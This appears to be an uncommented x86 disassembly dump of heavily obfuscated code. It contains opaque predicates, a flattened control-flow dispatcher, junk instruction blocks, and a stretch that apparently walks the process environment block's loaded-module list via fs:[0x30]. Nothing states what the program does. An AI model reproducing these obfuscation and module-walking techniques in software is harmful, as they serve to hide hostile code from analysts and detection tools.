mov ah, cl
xor ah, 0xff
mov bh, dl
and bh, ah
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and bl, ah
mov byte [ebp - 0xd84], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0xd83], al
mov al, byte [ebp - 0xd84]
or dl, al
mov al, byte [ebp - 0xd83]
or bl, al
mov al, byte [ebp - 0xd82]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0xd7f], cl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov bl, ah
and bl, 1
mov byte [ebp - 0xd81], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0xd80], al
mov al, byte [ebp - 0xd81]
or cl, al
mov al, byte [ebp - 0xd80]
or bl, al
mov al, byte [ebp - 0xd7f]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, bh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or dh, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, bl
or dl, ah
xor cl, dl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov bl, 1
xor bl, 1
mov ah, 1
xor ah, 0
or dl, bl
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xd7c], dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, dh
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and dh, bl
mov byte [ebp - 0xd7e], dh
mov dh, bh
and dh, 0
and al, bl
mov byte [ebp - 0xd7d], al
mov al, byte [ebp - 0xd7e]
or ah, al
mov al, byte [ebp - 0xd7d]
or dh, al
mov al, byte [ebp - 0xd7c]
xor ah, dh
mov dh, byte [ebp - 0xd7b]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xd72], al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov byte [ebp - 0xd75], cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0xd78], bl
mov ah, 1
xor ah, 1
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 0
mov bh, bl
xor bh, 0xff
mov ah, 1
xor ah, 0
or cl, bh
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, 1
xor bh, 1
mov ah, dl
xor ah, bh
and ah, dl
mov byte [ebp - 0xd76], ah
xor bl, 0xff
mov ah, dh
xor ah, bl
and ah, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xd77], bl
mov bl, 1
xor bl, 0
mov bh, dh
and bh, 0
and al, bl
mov byte [ebp - 0xd7a], al
mov al, byte [ebp - 0xd77]
and al, 0
mov byte [ebp - 0xd79], al
mov al, byte [ebp - 0xd7a]
and cl, bl
or bh, al
mov al, byte [ebp - 0xd79]
or al, cl
mov cl, byte [ebp - 0xd78]
xor bh, al
mov al, byte [ebp - 0xd77]
or dh, al
mov al, byte [ebp - 0xd76]
xor dh, 0xff
or bl, 0
and dh, bl
or bh, dh
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xd75]
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0xd71], ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov dh, 1
xor dh, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dh
and ah, 0
mov al, bl
and al, 1
mov byte [ebp - 0xd74], al
mov al, bh
and al, 0
mov byte [ebp - 0xd73], al
mov al, byte [ebp - 0xd74]
and cl, bl
or ah, al
mov al, byte [ebp - 0xd73]
or al, cl
mov cl, byte [ebp - 0xd72]
xor ah, al
mov al, byte [ebp - 0xd71]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or ah, dh
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xd70], ah
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0xd70]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0xd6f], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0xd6f]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, ah
or al, dl
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov byte [ebp - 0xd6c], cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dh
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov bl, 1
xor bl, 0
mov ch, ah
xor ch, bl
and ch, ah
mov byte [ebp - 0xd6a], ch
mov bl, dl
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xd6b], bl
mov bh, 1
xor bh, 1
mov bl, dh
and bl, 0xff
and al, bh
mov byte [ebp - 0xd6e], al
mov al, byte [ebp - 0xd6b]
and al, 0xff
mov byte [ebp - 0xd6d], al
mov al, byte [ebp - 0xd6e]
and cl, bh
or bl, al
mov al, byte [ebp - 0xd6d]
or al, cl
mov cl, byte [ebp - 0xd6c]
xor bl, al
mov al, byte [ebp - 0xd6b]
or dh, al
mov al, byte [ebp - 0xd6a]
xor dh, 0xff
or bh, 1
and dh, bh
or bl, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbcf53621
mov ecx, 0x91e996b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x184]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x13c]
imul edx, dword [edx], 0x28
add ecx, edx
mov esi, dword [ecx + 0xc]
xor edx, edx
sub edx, 0
xor ecx, ecx
sub ecx, 0xc07098da
add edx, ecx
xor ecx, ecx
sub ecx, edx
sub ecx, 0x44bd2f45
sub ecx, eax
add ecx, 0x44bd2f45
sub ecx, 0x194be959
sub ecx, 0xc07098da
add ecx, 0x194be959
xor edx, edx
sub edx, 0x23b4f1f
sub edx, 0x92cfdf9f
add edx, 0x23b4f1f
xor eax, eax
sub eax, esi
add edx, eax
add edx, 0x3e8e2d9e
add edx, 0x92cfdf9f
sub edx, 0x3e8e2d9e
xor eax, eax
sub eax, 0xd19f1677
sub eax, edx
add eax, 0xd19f1677
add ecx, 0x2827317d
sub ecx, eax
sub ecx, 0x2827317d
xor eax, eax
sub eax, 0x18fce92d
sub eax, 0x83aeba1a
add eax, 0x18fce92d
sub eax, 0x66d2e4e5
sub eax, ecx
add eax, 0x66d2e4e5
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x83aeba1a
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
xor esi, esi
sub esi, eax
xor edx, edx
sub edx, 0xa7408c3a
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xb631e551
sub edx, 0x5ecd208f
sub edx, 0xb631e551
add edx, 0x52b8bff2
sub edx, 0xa7408c3a
sub edx, 0x52b8bff2
mov edi, 0x4f7e5693
add edi, 0
sub edi, 1
sub edi, 0x4f7e5693
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x5ecd208f
add esi, 0
add edx, 0xdcc98f27
sub edx, esi
sub edx, 0xdcc98f27
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov ah, al
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov bl, dh
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, bl
or cl, dl
xor ch, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or ah, dl
mov bh, dh
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov al, bh
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov bl, al
and bl, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and dh, dl
or bl, bh
or ch, dh
xor bl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, cl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov byte [ebp - 0xdb7], ah
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, bl
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov byte [ebp - 0xdb9], ch
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov dh, 1
xor dh, 0
mov al, ah
xor al, dh
and al, ah
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or bl, dh
or ch, 0
xor bl, 0xff
and bl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0xdb8], dh
mov bh, 1
xor bh, 1
mov dh, ch
and dh, 0xff
and al, bh
mov byte [ebp - 0xdbb], al
mov al, byte [ebp - 0xdb8]
and al, 0xff
mov byte [ebp - 0xdba], al
mov al, byte [ebp - 0xdbb]
and cl, bh
or dh, al
mov al, byte [ebp - 0xdba]
or al, cl
mov cl, byte [ebp - 0xdb9]
xor dh, al
mov al, byte [ebp - 0xdb8]
or ch, al
mov al, byte [ebp - 0xdb7]
xor ch, 0xff
or bh, 1
and ch, bh
or dh, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcf53621
mov ecx, 0xca7ef911
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
and edx, 0xcc
bswap edi
and edi, 0xc0
or edx, 0xcc
add edx, 0x74
sub ebx, 0x45
not edx
or edx, 0x45
rcl esi, 0xeb
neg esi
not edi
inc edx
sub esi, 0xe2
neg edx
inc ebx
add ebx, 0x67
sub edi, 0x3c
dec edx
mov ebx, 0xef
not edi
inc edi
dec ebx
not eax
not eax
sub ebx, 0xa0
imul edi
imul ebx
imul edi
imul esi
or eax, 0x20
bswap ebx
sbb edx, 0xe3
imul esi
imul edi
or eax, 0xb0
rcr ebx, 0xdd
rol esi, 0xe2
imul eax
neg eax
not eax
sub esi, 0x1f
or edx, 0xc3
not esi
neg eax
mov edx, 0x65
imul ebx
rol eax, 0xbe
or edx, 0x31
neg edi
add eax, 0x62
add eax, 0xa4
inc edi
sbb ebx, 0x8d
rcr esi, 0x32
add edi, 0x16
bswap edi
rol esi, 0x87
imul eax
imul ebx
imul edi
imul esi
dec eax
bswap edx
and ebx, 1
not edx
or ebx, 0x9b
inc edi
imul eax
ror edi, 0xb2
sub esi, 0xd4
inc eax
inc edx
imul edi
rcr eax, 0x8c
dec eax
bswap edx
sbb ebx, 0x47
imul ebx
rcr eax, 0x45
or edi, 0xe0
imul esi
neg esi
add edx, 0x2a
rcl edx, 0x59
rcr eax, 0x52
inc edx
dec edx
sub edi, 0x4e
neg edi
neg edi
bswap esi
not ebx
sub edi, 0x30
not ebx
or edx, 3
rcr eax, 0x2a
not edx
sub edi, 0x79
bswap esi
mov ebx, 0x3e
rcr ebx, 0x1f
or edi, 3
rcl eax, 0xab
rcl edi, 0xda
sub esi, 0x58
or edx, 0x79
inc ebx
rcr edi, 0x9b
not esi
bswap ebx
imul ebx
sub edx, 0xe3
rcr esi, 0xc0
sub eax, 0x70
inc esi
rcr edi, 0x9c
not esi
sbb ebx, 0x9a
neg edi
and ebx, 0x80
rcl edi, 0x14
and esi, 0x71
dec edi
sbb edx, 0xb3
ror edx, 0xff
inc ebx
inc edx
imul edi
sub esi, 0x8b
imul edi
dec edx
sub edi, 0xcf
imul eax
dec ebx
rol esi, 0x11
neg eax
not edx
inc esi
bswap ebx
not edi
mov edx, 0xae
not esi
not eax
ror ebx, 0x4a
neg ebx
ror edx, 0x9f
rcr edi, 0x72
inc eax
and ebx, 0x81
inc edi
mov ecx, eax
mov eax, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x54ddc9c
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xde35658e
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0x8c8441a5
sub eax, 0x54ddc9c
sub eax, 0x8c8441a5
xor ecx, ecx
sub ecx, 0x605c033e
add eax, ecx
xor ecx, ecx
sub ecx, 0xc
sub eax, ecx
sub eax, 0x403497b2
add eax, 0x605c033e
add eax, 0x403497b2
xor ecx, ecx
sub ecx, 0x9e31fd94
add eax, ecx
xor ecx, ecx
sub ecx, 0xde35658e
add eax, ecx
add eax, 0x963cdf4e
add eax, 0x9e31fd94
sub eax, 0x963cdf4e
mov ecx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x4177a073
sub eax, ecx
sub eax, 0xe1761d44
sub eax, 0x35ac826b
add eax, 0xe1761d44
xor ecx, ecx
sub ecx, 0x4177a073
add eax, ecx
xor ecx, ecx
sub ecx, 0xeb461510
sub ecx, 0x14
add ecx, 0xeb461510
add eax, 0x66d65a06
sub eax, ecx
sub eax, 0x66d65a06
mov edx, 0x752194e2
add edx, 0
sub edx, 0x35ac826b
sub edx, 0x752194e2
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [eax]
add ecx, 0x9e99f9cf
sub ecx, 0xf8aa0eff
sub ecx, 0x9e99f9cf
sub ecx, 0x88773de7
sub ecx, 0xd8ecf7b2
add ecx, 0x88773de7
add ecx, 0x13215045
add ecx, 0xf8aa0eff
sub ecx, 0x13215045
mov edx, 0x61f86987
add edx, 0
sub edx, 8
sub edx, 0x61f86987
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, 0x3adc97
add eax, 0
sub eax, 0xd8ecf7b2
sub eax, 0x3adc97
sub ecx, 0xb3137a40
sub ecx, eax
add ecx, 0xb3137a40
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
inc eax
add edx, 0x36
bswap esi
rol eax, 0x5d
imul eax
bswap esi
bswap eax
sbb esi, 0x22
dec esi
rol edx, 0x5b
rcl eax, 0x92
sbb eax, 0x23
imul edx
inc esi
rcl edi, 0xf3
not eax
add edi, 0x6b
rol edx, 0xdd
not ebx
sub edx, 0xec
or edi, 0x78
imul eax
and esi, 0x4c
rcr ebx, 0x71
mov eax, 0xb2
imul edi
rol edi, 0x84
not edi
not edi
not edx
add edi, 0x41
bswap eax
bswap eax
rcr eax, 0xbb
imul eax
sub esi, 0xc1
mov ebx, 0x87
mov edx, 0x5c
imul ebx
and edx, 0x9d
sbb ebx, 0xc1
not edi
inc eax
rol eax, 0x2d
or esi, 0x78
imul esi
add esi, 0x78
sbb edi, 0x5c
inc edi
rcl eax, 0x9e
rcr ebx, 0xf
add esi, 0x27
rcl ebx, 0xac
dec ebx
rcl esi, 0x50
inc eax
or edi, 0x19
sbb edi, 0xd7
bswap edx
and esi, 0x77
bswap ebx
imul eax
dec edx
and eax, 0xb6
add edi, 0x93
bswap esi
mov edi, 0x43
inc esi
ror ebx, 0x76
sub edx, 0xc6
rcl ebx, 0xe3
not eax
mov ebx, 0x13
or esi, 0x34
and edi, 0x54
ror edi, 0x7d
ror ebx, 4
neg eax
dec edx
imul eax
bswap esi
dec ebx
bswap ebx
dec edi
imul edi
dec ebx
not edx
rcl esi, 0xd4
inc eax
dec ebx
inc esi
sbb edx, 0xa9
neg ebx
rcr edx, 0xa6
or edx, 0x62
dec edi
rcl edx, 0xb7
inc esi
mov edi, 0x1a
and esi, 0x42
sub esi, 0x32
imul ebx
rol edi, 0xac
sbb esi, 0xbf
sub esi, 0x5e
dec edx
rcl edx, 0xe6
rcr edi, 0x20
rcl eax, 0xff
rcr esi, 0x7a
add esi, 0x35
rcr ebx, 0x3e
and ebx, 0x6b
rcl edx, 0x33
imul ebx
add esi, 0x51
inc esi
imul esi
inc ebx
sub ebx, 0x79
imul ebx
rol esi, 0x8d
inc ebx
dec edx
not ebx
ror edi, 0x36
imul esi
not ebx
mov edx, 0xa9
and eax, 0xf9
sub ebx, 0x33
and edi, 0xcf
mov esi, 0
sbb edx, 0x7e
ror eax, 0x35
neg esi
or eax, 0xfe
rcl edi, 0xab
not ebx
not eax
imul ebx
dec eax
not edi
add esi, 4
not ebx
add eax, 0xb4
bswap edx
inc edx
neg eax
and ebx, 0xad
mov ecx, eax
mov eax, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov dword [ebp - 0x1b4], 0x5ad43f75
jmp 0x4c0c7f
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
xor esi, esi
sub esi, 0xaeca6d5d
mov edx, eax
sub edx, esi
sub edx, 0x5a77135b
add edx, 0x99008ac3
add edx, 0x5a77135b
sub edx, 0x61ede007
sub edx, 0xaeca6d5d
add edx, 0x61ede007
mov edi, 0xcad14fbe
add edi, 0
sub edi, 1
sub edi, 0xcad14fbe
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, 0x7e0b203a
sub edx, esi
add edx, 0xe4a417a0
sub edx, 0x99008ac3
sub edx, 0xe4a417a0
add edx, 0x36720c94
sub edx, 0x7e0b203a
sub edx, 0x36720c94
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl al
mov byte [ebp - 0xed4], al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, ah
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, bh
xor al, 0xff
mov dh, ah
xor dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, bl
mov bl, byte [ebp - 0xed4]
or al, ch
xor cl, al
mov ch, 1
xor ch, 0
mov al, cl
xor al, ch
and al, cl
mov ch, 1
xor ch, 1
xor bh, 0xff
mov cl, 1
xor cl, 1
or ch, bh
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov ch, cl
xor ch, 0xff
mov al, dl
and al, ch
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0xecf], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
xor bl, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 0
mov bh, 1
xor bh, 0
mov dl, bh
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or al, dl
mov dl, byte [ebp - 0xecf]
or ch, bh
xor al, ch
mov bh, 1
xor bh, 0
mov ch, al
xor ch, bh
and ch, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov dh, al
xor dh, 0xff
mov ch, cl
and ch, dh
xor cl, 0xff
and al, cl
or ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov byte [ebp - 0xece], al
mov bl, dl
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0xee1], cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
mov bh, cl
and bh, 0
and bl, dl
mov byte [ebp - 0xee3], bl
mov bl, dh
and bl, 0
and al, dl
mov byte [ebp - 0xee2], al
mov al, byte [ebp - 0xee3]
or bh, al
mov al, byte [ebp - 0xee2]
or bl, al
mov al, byte [ebp - 0xee1]
xor bh, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or bh, cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xede], cl
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov dh, dl
and dh, 1
mov byte [ebp - 0xee0], dh
mov dh, bl
and dh, 0xff
and al, dl
mov byte [ebp - 0xedf], al
mov al, byte [ebp - 0xee0]
or cl, al
mov al, byte [ebp - 0xedf]
or dh, al
mov al, byte [ebp - 0xede]
xor cl, dh
mov dh, byte [ebp - 0xece]
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or al, bh
or dl, bl
xor al, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, dh
or al, cl
xor ah, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0xedb], cl
mov dl, 1
xor dl, 1
mov dh, al
